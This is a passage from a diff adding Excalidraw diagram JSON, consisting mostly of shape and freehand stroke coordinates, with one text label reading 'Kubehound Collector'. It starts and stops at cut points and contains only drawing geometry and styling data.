-6.054408568921691, + 35.98048520959526 + ], + [ + -6.054408568921691, + 35.98048520959526 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "line", + "version": 1641, + "versionNonce": 440351968, + "index": "c14sE", + "isDeleted": false, + "id": "6liIMI3W_PIBwHwZZ9nQZ", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2780.0147695160786, + "y": -483.09212806252253, + "strokeColor": "#343a40", + "backgroundColor": "#ced4da", + "width": 68.71257153179448, + "height": 60.201930953927956, + "seed": 799830456, + "groupIds": [ + "_Nc3JSeyFxWSfGrgsySBi", + "V3pYAnrv9dltFOajSVToT", + "IxQcOJ55mtg8D58oXVRJ4", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453353, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.7454321736900085, + 21.740920053401442 + ], + [ + 26.514563663031257, + 32.779032478190786 + ], + [ + 27.899012478054726, + 59.765660658487725 + ], + [ + 39.767456175352514, + 59.231466004238264 + ], + [ + 42.273645797464944, + 33.041740486123636 + ], + [ + 68.71257153179448, + 20.2865687379583 + ], + [ + 68.71257153179448, + -0.4362702954402311 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "freedraw", + "version": 1179, + "versionNonce": 218407136, + "index": "c14sG", + "isDeleted": false, + "id": "0crvmfggwb61jO3Q6XeiB", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2812.08490262759, + "y": -405.4891911560326, + "strokeColor": "#343a4011", + "backgroundColor": "#ced4da", + "width": 24.23023640388396, + "height": 40.41262315174316, + "seed": 363166392, + "groupIds": [ + "_Nc3JSeyFxWSfGrgsySBi", + "V3pYAnrv9dltFOajSVToT", + "IxQcOJ55mtg8D58oXVRJ4", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453353, + "link": null, + "locked": false, + "points": [ + [ + 0, + -29.39353410706135 + ], + [ + 0, + -29.727522728150422 + ], + [ + 0, + -30.39549997032762 + ], + [ + 0, + -31.73145445468297 + ], + [ + 0, + -33.06740893903834 + ], + [ + 0, + -34.40336342339371 + ], + [ + 0, + -35.405329286659985 + ], + [ + 0, + -36.40729514992627 + ], + [ + 0, + -37.40926101319255 + ], + [ + 0, + -38.74521549754791 + ], + [ + 0, + -39.413192739725105 + ], + [ + 0, + -40.74914722408046 + ], + [ + 0, + -41.083135845169544 + ], + [ + 0, + -41.75111308734675 + ], + [ + 0.5769103905674791, + -42.75307895061302 + ], + [ + 0.5769103905674791, + -43.755044813879316 + ], + [ + 1.1538207811382808, + -44.75701067714559 + ], + [ + 1.7307311717057596, + -45.424987919323755 + ], + [ + 1.7307311717057596, + -45.758976540411865 + ], + [ + 2.3076415622732385, + -46.09296516150095 + ], + [ + 2.3076415622732385, + -46.76094240367814 + ], + [ + 2.8845519528440398, + -47.09493102476723 + ], + [ + 2.8845519528440398, + -47.4289196458563 + ], + [ + 4.038372733978998, + -48.09689688803351 + ], + [ + 4.038372733978998, + -48.43088550912258 + ], + [ + 4.6152831245498, + -48.76487413021167 + ], + [ + 5.769103905684759, + -48.76487413021167 + ], + [ + 7.49983507739384, + -49.43285137238886 + ], + [ + 10.384387030234558, + -49.76683999347795 + ], + [ + 12.115118201940318, + -50.434817235655146 + ], + [ + 14.42275976421688, + -50.76880585674422 + ], + [ + 15.576580545351835, + -51.10279447783234 + ], + [ + 16.153490935922637, + -51.43678309892143 + ], + [ + 16.730401326490117, + -51.770771720010515 + ], + [ + 17.307311717057594, + -51.770771720010515 + ], + [ + 17.307311717057594, + -52.10476034109959 + ], + [ + 17.307311717057594, + -52.43874896218771 + ], + [ + 17.307311717057594, + -53.10672620436587 + ], + [ + 17.307311717057594, + -54.10869206763215 + ], + [ + 17.307311717057594, + -55.11065793089843 + ], + [ + 17.884222107628396, + -56.446612415253796 + ], + [ + 18.461132498195877, + -57.782566899608184 + ], + [ + 20.191863669901633, + -59.11852138396353 + ], + [ + 20.191863669901633, + -60.120487247229825 + ], + [ + 21.345684451039915, + -61.45644173158519 + ], + [ + 21.922594841607392, + -62.124418973762396 + ], + [ + 21.922594841607392, + -62.79239621594055 + ], + [ + 21.922594841607392, + -63.79436207920683 + ], + [ + 21.922594841607392, + -64.46233932138404 + ], + [ + 21.922594841607392, + -64.79632794247313 + ], + [ + 21.922594841607392, + -65.46430518465031 + ], + [ + 21.922594841607392, + -66.46627104791658 + ], + [ + 21.922594841607392, + -66.80025966900567 + ], + [ + 21.922594841607392, + -67.80222553227195 + ], + [ + 22.499505232174872, + -68.47020277445013 + ], + [ + 23.65332601331315, + -69.13818001662732 + ], + [ + 23.65332601331315, + -69.47216863771641 + ], + [ + 24.23023640388396, + -69.47216863771641 + ], + [ + 24.23023640388396, + -69.80615725880452 + ], + [ + 24.23023640388396, + -69.80615725880452 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "line", + "version": 1454, + "versionNonce": 1232962784, + "index": "c14sI", + "isDeleted": false, + "id": "lOwJMTDqc7KLocAVMJqHC", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2849.2805563340926, + "y": -604.8102011879046, + "strokeColor": "#000000", + "backgroundColor": "#fff", + "width": 51.75944168086124, + "height": 72.35758683957152, + "seed": 1234527160, + "groupIds": [ + "ICjTaPD6sQ-Ln25OL77Fa", + "_Nc3JSeyFxWSfGrgsySBi", + "V3pYAnrv9dltFOajSVToT", + "IxQcOJ55mtg8D58oXVRJ4", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453353, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.2640787840858196, + 56.51285979440991 + ], + [ + 50.70312654451664, + 56.248781010323434 + ], + [ + 51.49536289677542, + -15.58064826107514 + ], + [ + 14.524333124731863, + -15.84472704516161 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1640, + "versionNonce": 1295640800, + "index": "c14sK", + "isDeleted": false, + "id": "HmFXJFtaVagHLqE8P-DqU", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2846.807957896941, + "y": -602.9761097039666, + "strokeColor": "#000000", + "backgroundColor": "#fff", + "width": 51.75944168086124, + "height": 72.35758683957152, + "seed": 698363064, + "groupIds": [ + "ICjTaPD6sQ-Ln25OL77Fa", + "_Nc3JSeyFxWSfGrgsySBi", + "V3pYAnrv9dltFOajSVToT", + "IxQcOJ55mtg8D58oXVRJ4", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453353, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.2640787840858196, + 56.51285979440991 + ], + [ + 50.70312654451664, + 56.248781010323434 + ], + [ + 51.49536289677542, + -15.58064826107514 + ], + [ + 14.524333124731863, + -15.84472704516161 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1377, + "versionNonce": 1674169568, + "index": "c14sM", + "isDeleted": false, + "id": "rqsIcpubOFY6Ol0SdnLes", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2844.364279469113, + "y": -601.1420182200286, + "strokeColor": "#000000", + "backgroundColor": "#fff", + "width": 51.75944168086124, + "height": 72.35758683957152, + "seed": 795465144, + "groupIds": [ + "ICjTaPD6sQ-Ln25OL77Fa", + "_Nc3JSeyFxWSfGrgsySBi", + "V3pYAnrv9dltFOajSVToT", + "IxQcOJ55mtg8D58oXVRJ4", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453353, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.2640787840858196, + 56.51285979440991 + ], + [ + 50.70312654451664, + 56.248781010323434 + ], + [ + 51.49536289677542, + -15.58064826107514 + ], + [ + 14.524333124731863, + -15.84472704516161 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1274, + "versionNonce": 1723674848, + "index": "c14sO", + "isDeleted": false, + "id": "N57Cww6Iy1m_kGCAsomRs", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2859.6808489461027, + "y": -615.1381937765877, + "strokeColor": "#000000", + "backgroundColor": "#ced4da", + "width": 13.468017988387276, + "height": 13.732096772473094, + "seed": 1466040, + "groupIds": [ + "ICjTaPD6sQ-Ln25OL77Fa", + "_Nc3JSeyFxWSfGrgsySBi", + "V3pYAnrv9dltFOajSVToT", + "IxQcOJ55mtg8D58oXVRJ4", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453353, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.5281575681716392, + 13.732096772473094 + ], + [ + -13.468017988387276, + 13.732096772473094 + ] + ] + }, + { + "type": "rectangle", + "version": 1269, + "versionNonce": 2107905248, + "index": "c14sQ", + "isDeleted": false, + "id": "mTslZchibzFp7x8d8LGeD", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2858.888612593848, + "y": -597.4449152428247, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 2085210040, + "groupIds": [ + "ICjTaPD6sQ-Ln25OL77Fa", + "_Nc3JSeyFxWSfGrgsySBi", + "V3pYAnrv9dltFOajSVToT", + "IxQcOJ55mtg8D58oXVRJ4", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453353, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1290, + "versionNonce": 1578006752, + "index": "c14sS", + "isDeleted": false, + "id": "f_F8qkPzn0rnnEoWX_IVo", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2859.027881988224, + "y": -586.442633087147, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 1344803000, + "groupIds": [ + "ICjTaPD6sQ-Ln25OL77Fa", + "_Nc3JSeyFxWSfGrgsySBi", + "V3pYAnrv9dltFOajSVToT", + "IxQcOJ55mtg8D58oXVRJ4", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453353, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1322, + "versionNonce": 193748192, + "index": "c14sU", + "isDeleted": false, + "id": "w6gDzpPR8gKIs2zs8hgzm", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2858.888612593848, + "y": -577.3011840094073, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 55916984, + "groupIds": [ + "ICjTaPD6sQ-Ln25OL77Fa", + "_Nc3JSeyFxWSfGrgsySBi", + "V3pYAnrv9dltFOajSVToT", + "IxQcOJ55mtg8D58oXVRJ4", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453353, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1349, + "versionNonce": 397263072, + "index": "c14sV", + "isDeleted": false, + "id": "unKjPVdUhQbRCVzXJfNSu", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2858.888612593848, + "y": -568.6948386413046, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 150291128, + "groupIds": [ + "ICjTaPD6sQ-Ln25OL77Fa", + "_Nc3JSeyFxWSfGrgsySBi", + "V3pYAnrv9dltFOajSVToT", + "IxQcOJ55mtg8D58oXVRJ4", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [ + { + "id": "VwTSaUUpZ0T3e8DRMyHte", + "type": "arrow" + } + ], + "updated": 1720441453354, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1367, + "versionNonce": 1644340448, + "index": "c14sX", + "isDeleted": false, + "id": "I6tRyaa7zdHSdTZk8sv4D", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2858.888612593848, + "y": -559.8353654682526, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 1336683448, + "groupIds": [ + "ICjTaPD6sQ-Ln25OL77Fa", + "_Nc3JSeyFxWSfGrgsySBi", + "V3pYAnrv9dltFOajSVToT", + "IxQcOJ55mtg8D58oXVRJ4", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [ + { + "id": "VwTSaUUpZ0T3e8DRMyHte", + "type": "arrow" + } + ], + "updated": 1720441453354, + "link": null, + "locked": false + }, + { + "type": "freedraw", + "version": 1556, + "versionNonce": 898034912, + "index": "c14sZ", + "isDeleted": false, + "id": "57jN-LBRA-43YyZLZLw9a", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2859.8158246136, + "y": -612.2378299301415, + "strokeColor": "#5c940d11", + "backgroundColor": "transparent", + "width": 45.84052202184127, + "height": 64.69568013648461, + "seed": 1369306296, + "groupIds": [ + "yE6Hpo0dK_o-vY57XkM-O", + "ICjTaPD6sQ-Ln25OL77Fa", + "_Nc3JSeyFxWSfGrgsySBi", + "V3pYAnrv9dltFOajSVToT", + "IxQcOJ55mtg8D58oXVRJ4", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453354, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + -0.1729831019690788 + ], + [ + 0.17298310196907882, + -0.3459662039388127 + ], + [ + 1.3838648157539413, + -0.5189493059078916 + ], + [ + 5.535459263014454, + -0.5189493059078916 + ], + [ + 9.34108750633812, + -0.5189493059078916 + ], + [ + 13.319698851629552, + -1.037898611815128 + ], + [ + 17.644276400859145, + -1.7298310196920987 + ], + [ + 21.79587084812097, + -2.24878032559999 + ], + [ + 25.082549785536088, + -2.24878032559999 + ], + [ + 26.985363907197264, + -2.4217634275690694 + ], + [ + 28.36922872295121, + -2.594746529538148 + ], + [ + 28.542211824920283, + -2.594746529538148 + ], + [ + 28.023262519011737, + -2.4217634275690694 + ], + [ + 26.293431499319638, + -1.3838648157539408 + ], + [ + 23.52570186781307, + -0.3459662039388127 + ], + [ + 19.028141216613083, + 0.8649155098460494 + ], + [ + 14.011631259505869, + 1.7298310196920987 + ], + [ + 7.265290282706554, + 2.9407127334763055 + ], + [ + 1.0378986118157834, + 3.632645141353276 + ], + [ + -4.84352685513814, + 4.497560651199326 + ], + [ + -9.341087506336807, + 5.189493059076296 + ], + [ + -10.206003016183512, + 5.3624761610453735 + ], + [ + -10.378986118152593, + 5.708442364983532 + ], + [ + -10.551969220121672, + 5.708442364983532 + ], + [ + -10.378986118152593, + 6.054408568922345 + ], + [ + -8.995121302398651, + 6.227391670891424 + ], + [ + -4.151594447260513, + 6.573357874829582 + ], + [ + -1.55684791772302, + 7.092307180737473 + ], + [ + 5.016509957107217, + 7.092307180737473 + ], + [ + 13.146715749660475, + 7.265290282706552 + ], + [ + 21.276921542213728, + 7.265290282706552 + ], + [ + 28.715194926889364, + 7.265290282706552 + ], + [ + 30.27204284461238, + 7.265290282706552 + ], + [ + 32.693806272180794, + 7.265290282706552 + ], + [ + 34.077671087934746, + 7.265290282706552 + ], + [ + 35.11556969975052, + 7.265290282706552 + ], + [ + 35.2885528017196, + 7.611256486645364 + ], + [ + 35.2885528017196, + 7.957222690583523 + ], + [ + 35.2885528017196, + 8.822138200429572 + ], + [ + 35.2885528017196, + 9.341087506337463 + ], + [ + 35.2885528017196, + 9.68705371027562 + ], + [ + 34.25065418990381, + 10.897935424059828 + ], + [ + 31.828890762335398, + 11.24390162799864 + ], + [ + 25.601499091443323, + 12.627766443751925 + ], + [ + 23.35271876584398, + 12.80074954572166 + ], + [ + 16.087428483137437, + 13.83864815753679 + ], + [ + 11.589867831937454, + 14.876546769351915 + ], + [ + 8.476171996491415, + 15.741462279197966 + ], + [ + 6.22739167089208, + 16.606377789044014 + ], + [ + 4.84352685513814, + 16.952343992982172 + ], + [ + 3.632645141353277, + 17.298310196920983 + ], + [ + 2.594746529538803, + 17.644276400859145 + ], + [ + 1.729831019692099, + 17.990242604797956 + ], + [ + 1.3838648157539413, + 18.163225706767037 + ], + [ + 0.8649155098467044, + 18.163225706767037 + ], + [ + 0.5189493059072365, + 18.163225706767037 + ], + [ + 0, + 18.50919191070519 + ], + [ + -1.037898611814473, + 18.682175012674268 + ], + [ + -1.55684791772302, + 18.682175012674268 + ], + [ + -1.9028141216611774, + 18.855158114644006 + ], + [ + -2.0757972236302566, + 18.855158114644006 + ], + [ + -2.767729631506572, + 19.201124318582163 + ], + [ + -3.9786113452914345, + 19.201124318582163 + ], + [ + -5.189493059076296, + 19.37410742055124 + ], + [ + -5.535459263014454, + 19.720073624490055 + ], + [ + -5.708442364983533, + 19.89305672645913 + ], + [ + -5.535459263014454, + 20.23902293039729 + ], + [ + -3.459662039384198, + 20.757972236305186 + ], + [ + 0, + 21.622887746151232 + ], + [ + 4.151594447261823, + 22.3148201540282 + ], + [ + 8.649155098460493, + 23.00675256190452 + ], + [ + 13.146715749660475, + 23.52570186781241 + ], + [ + 20.412006032367024, + 24.56360047962754 + ], + [ + 23.006752561905827, + 24.90956668356635 + ], + [ + 26.12044839735056, + 25.082549785535427 + ], + [ + 27.677296315073583, + 25.255532887504508 + ], + [ + 28.023262519011737, + 25.255532887504508 + ], + [ + 26.985363907197264, + 25.255532887504508 + ], + [ + 23.52570186781307, + 25.601499091442665 + ], + [ + 19.72007362449071, + 26.120448397350557 + ], + [ + 16.087428483137437, + 27.5043132131045 + ], + [ + 12.627766443753238, + 29.234144232796595 + ], + [ + 8.822138200429572, + 32.1748569662729 + ], + [ + 5.881425466953922, + 34.42363729187289 + ], + [ + 3.9786113452914345, + 35.80750210762618 + ], + [ + 1.9028141216611774, + 37.19136692338012 + ], + [ + 0.6919324078776257, + 38.229265535195246 + ], + [ + 0, + 38.92119794307222 + ], + [ + -0.5189493059072365, + 39.44014724897945 + ], + [ + 0, + 39.44014724897945 + ], + [ + 1.0378986118157834, + 39.44014724897945 + ], + [ + 4.67054375316906, + 38.748214841103135 + ], + [ + 8.822138200429572, + 38.5752317391334 + ], + [ + 14.357597463445337, + 37.71031622928736 + ], + [ + 18.682175012674925, + 37.01838382141104 + ], + [ + 21.62288774615189, + 36.67241761747222 + ], + [ + 24.217634275689385, + 36.153468311564986 + ], + [ + 24.39061737765846, + 35.80750210762618 + ], + [ + 24.73658358159793, + 35.461535903688016 + ], + [ + 24.90956668356701, + 35.461535903688016 + ], + [ + 25.082549785536088, + 35.28855280171894 + ], + [ + 25.428515989474246, + 35.28855280171894 + ], + [ + 25.601499091443323, + 35.11556969974921 + ], + [ + 25.774482193412403, + 35.11556969974921 + ], + [ + 25.255532887505165, + 35.80750210762618 + ], + [ + 21.276921542213728, + 36.32645141353407 + ], + [ + 16.779360891013752, + 37.3643500253492 + ], + [ + 11.935834035875612, + 38.748214841103135 + ], + [ + 4.151594447261823, + 41.16997826867156 + ], + [ + 0, + 43.41875859427154 + ], + [ + -3.459662039384198, + 45.32157271593272 + ], + [ + -5.881425466952611, + 47.397369939563625 + ], + [ + -7.78423958861379, + 48.43526855137876 + ], + [ + -8.995121302398651, + 49.300184061224805 + ], + [ + -9.687053710274967, + 49.81913336713204 + ], + [ + -10.033019914214433, + 50.165099571070854 + ], + [ + -10.033019914214433, + 50.33808267303994 + ], + [ + -8.476171996491415, + 50.165099571070854 + ], + [ + -6.919324078768396, + 49.992116469101774 + ], + [ + -4.84352685513814, + 49.992116469101774 + ], + [ + -2.0757972236302566, + 49.992116469101774 + ], + [ + 2.0757972236302566, + 49.81913336713204 + ], + [ + 3.459662039384198, + 49.81913336713204 + ], + [ + 6.054408568923001, + 49.81913336713204 + ], + [ + 9.68705371027628, + 49.81913336713204 + ], + [ + 15.049529871321653, + 49.81913336713204 + ], + [ + 16.95234399298283, + 49.81913336713204 + ], + [ + 20.412006032367024, + 49.81913336713204 + ], + [ + 24.0446511737203, + 49.81913336713204 + ], + [ + 25.428515989474246, + 49.81913336713204 + ], + [ + 25.774482193412403, + 49.81913336713204 + ], + [ + 25.428515989474246, + 49.81913336713204 + ], + [ + 21.276921542213728, + 49.992116469101774 + ], + [ + 15.741462279197968, + 50.511065775009016 + ], + [ + 11.070918526030216, + 51.54896438682413 + ], + [ + 7.092307180737474, + 52.58686299863992 + ], + [ + 3.459662039384198, + 53.97072781439321 + ], + [ + 0.5189493059072365, + 55.181609528178065 + ], + [ + -1.9028141216611774, + 56.392491241962276 + ], + [ + -4.67054375316775, + 57.776356057716214 + ], + [ + -5.535459263014454, + 58.295305363623456 + ], + [ + -6.054408568921691, + 58.64127156756228 + ], + [ + -6.227391670890769, + 58.814254669531344 + ], + [ + -6.400374772859848, + 58.814254669531344 + ], + [ + -6.573357874830237, + 58.987237771500425 + ], + [ + -6.054408568921691, + 58.987237771500425 + ], + [ + -4.324577549229591, + 58.987237771500425 + ], + [ + -1.55684791772302, + 58.987237771500425 + ], + [ + 3.8056282433223547, + 59.50618707740833 + ], + [ + 8.995121302398651, + 60.37110258725436 + ], + [ + 10.206003016183512, + 60.37110258725436 + ], + [ + 12.28180023981377, + 60.890051893161605 + ], + [ + 12.9737326476914, + 61.40900119906949 + ], + [ + 13.146715749660475, + 61.40900119906949 + ], + [ + 13.66566505556771, + 61.40900119906949 + ], + [ + 14.703563667383497, + 61.40900119906949 + ], + [ + 16.087428483137437, + 61.40900119906949 + ], + [ + 19.374107420551244, + 61.40900119906949 + ], + [ + 20.584989134336105, + 61.40900119906949 + ], + [ + 23.006752561905827, + 61.40900119906949 + ], + [ + 26.466414601290026, + 61.75496740300766 + ], + [ + 28.19624562098213, + 61.92795050497674 + ], + [ + 29.06116113082752, + 62.10093360694646 + ], + [ + 29.234144232796606, + 62.10093360694646 + ], + [ + 29.40712733476568, + 62.10093360694646 + ], + [ + 29.753093538703833, + 62.10093360694646 + ], + [ + 29.753093538703833, + 61.75496740300766 + ], + [ + 29.92607664067423, + 61.40900119906949 + ], + [ + 29.92607664067423, + 60.890051893161605 + ], + [ + 30.27204284461238, + 59.16022087346949 + ], + [ + 30.27204284461238, + 57.94933915968531 + ], + [ + 30.27204284461238, + 56.565474343931356 + ], + [ + 30.27204284461238, + 55.00862642620834 + ], + [ + 30.27204284461238, + 53.45177850848597 + ], + [ + 30.27204284461238, + 51.54896438682413 + ], + [ + 30.27204284461238, + 47.74333614350178 + ], + [ + 30.27204284461238, + 46.878420633655736 + ], + [ + 30.099059742643306, + 44.97560651199456 + ], + [ + 29.753093538703833, + 42.89980928836365 + ], + [ + 29.753093538703833, + 40.651028962764315 + ], + [ + 29.753093538703833, + 39.959096554887346 + ], + [ + 29.753093538703833, + 38.92119794307222 + ], + [ + 29.753093538703833, + 38.40224863716433 + ], + [ + 29.753093538703833, + 38.229265535195246 + ], + [ + 29.753093538703833, + 38.056282433226166 + ], + [ + 29.753093538703833, + 37.88329933125709 + ], + [ + 29.753093538703833, + 37.71031622928736 + ], + [ + 29.753093538703833, + 37.53733312731828 + ], + [ + 29.92607664067423, + 37.01838382141104 + ], + [ + 30.099059742643306, + 36.8454007194413 + ], + [ + 30.27204284461238, + 35.98048520959526 + ], + [ + 30.27204284461238, + 35.80750210762618 + ], + [ + 30.27204284461238, + 35.28855280171894 + ], + [ + 30.618009048550547, + 34.94258659778012 + ], + [ + 30.618009048550547, + 34.42363729187289 + ], + [ + 30.618009048550547, + 34.250654189903166 + ], + [ + 30.618009048550547, + 33.731704883995924 + ], + [ + 30.44502594658146, + 33.21275557808803 + ], + [ + 29.234144232796606, + 31.828890762334748 + ], + [ + 28.715194926889364, + 31.65590766036501 + ], + [ + 25.601499091443323, + 30.272042844611725 + ], + [ + 19.547090522521632, + 29.580110436734746 + ], + [ + 14.703563667383497, + 29.580110436734746 + ], + [ + 10.033019914214433, + 29.580110436734746 + ], + [ + 6.054408568923001, + 29.580110436734746 + ], + [ + 3.11369583544604, + 29.580110436734746 + ], + [ + 0.5189493059072365, + 29.580110436734746 + ], + [ + -1.729831019692099, + 29.580110436734746 + ], + [ + -3.9786113452914345, + 29.580110436734746 + ], + [ + -4.84352685513814, + 29.580110436734746 + ], + [ + -5.881425466952611, + 29.580110436734746 + ], + [ + -6.746340976799316, + 29.580110436734746 + ], + [ + -7.265290282706554, + 29.580110436734746 + ], + [ + -7.438273384675631, + 29.75309353870383 + ], + [ + -7.265290282706554, + 30.963975252488694 + ], + [ + -6.919324078768396, + 32.866789374149874 + ], + [ + -6.400374772859848, + 34.59662039384197 + ], + [ + -6.227391670890769, + 35.98048520959526 + ], + [ + -6.054408568921691, + 36.32645141353407 + ], + [ + -6.054408568921691, + 35.98048520959526 + ], + [ + -6.054408568921691, + 35.98048520959526 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "text", + "version": 1385, + "versionNonce": 1138118880, + "index": "c14sb", + "isDeleted": false, + "id": "Y19so6Os", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2652.1625079963887, + "y": -412.90810583254006, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 323.1781688481509, + "height": 41.60380510113408, + "seed": 611229112, + "groupIds": [ + "g8Q9ala-w_0iisIb_h8oV", + "V3pYAnrv9dltFOajSVToT", + "IxQcOJ55mtg8D58oXVRJ4", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453354, + "link": null, + "locked": false, + "fontSize": 33.28304408090725, + "fontFamily": 1, + "text": "Kubehound Collector", + "rawText": "Kubehound Collector", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "Kubehound Collector", + "autoResize": true, + "lineHeight": 1.2500000000000004 + }, + { + "type": "arrow", + "version": 756, + "versionNonce": 446248160, + "index": "c14sd", + "isDeleted": false, + "id": "R80tKAiolWSv1ApzhHWa3", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2783.646431147253, + "y": -494.1253571248344, + "strokeColor": "#1971c2", + "backgroundColor": "#a5d8ff", + "width": 273.44860840862333, + "height": 28.752775883250248, + "seed": 1191303352, + "groupIds": [ + "IxQcOJ55mtg8D58oXVRJ4", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453354, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": "arrow", + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + -273.44860840862333, + 28.752775883250248 + ] + ] + }, + { + "type": "image", + "version": 1547, + "versionNonce": 1600100576, + "index": "c14sf", + "isDeleted": false, + "id": "Q5PiswmC2JvKts7vWZGgS", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2817.605130718099, + "y": -2042.0425692725075, + "strokeColor": "transparent", + "backgroundColor": "transparent", + "width": 55.57580906013855, + "height": 55.57580906013855, + "seed": 1230224568, + "groupIds": [ + "yEfMNpS6Ahh8wixeIdueU", + "pCXEJQWMRkBhy2cAfBuln", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453354, + "link": null, + "locked": false, + "status": "pending", + "fileId": "81f9bb5db816b95a6807fdda2a002845e40fd318", + "scale": [ + 1, + 1 + ] + }, + { + "type": "arrow", + "version": 2879, + "versionNonce": 2066000160, + "index": "c14sh", + "isDeleted": false, + "id": "HI-d2VdtZobAMIq8lZ7T6", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 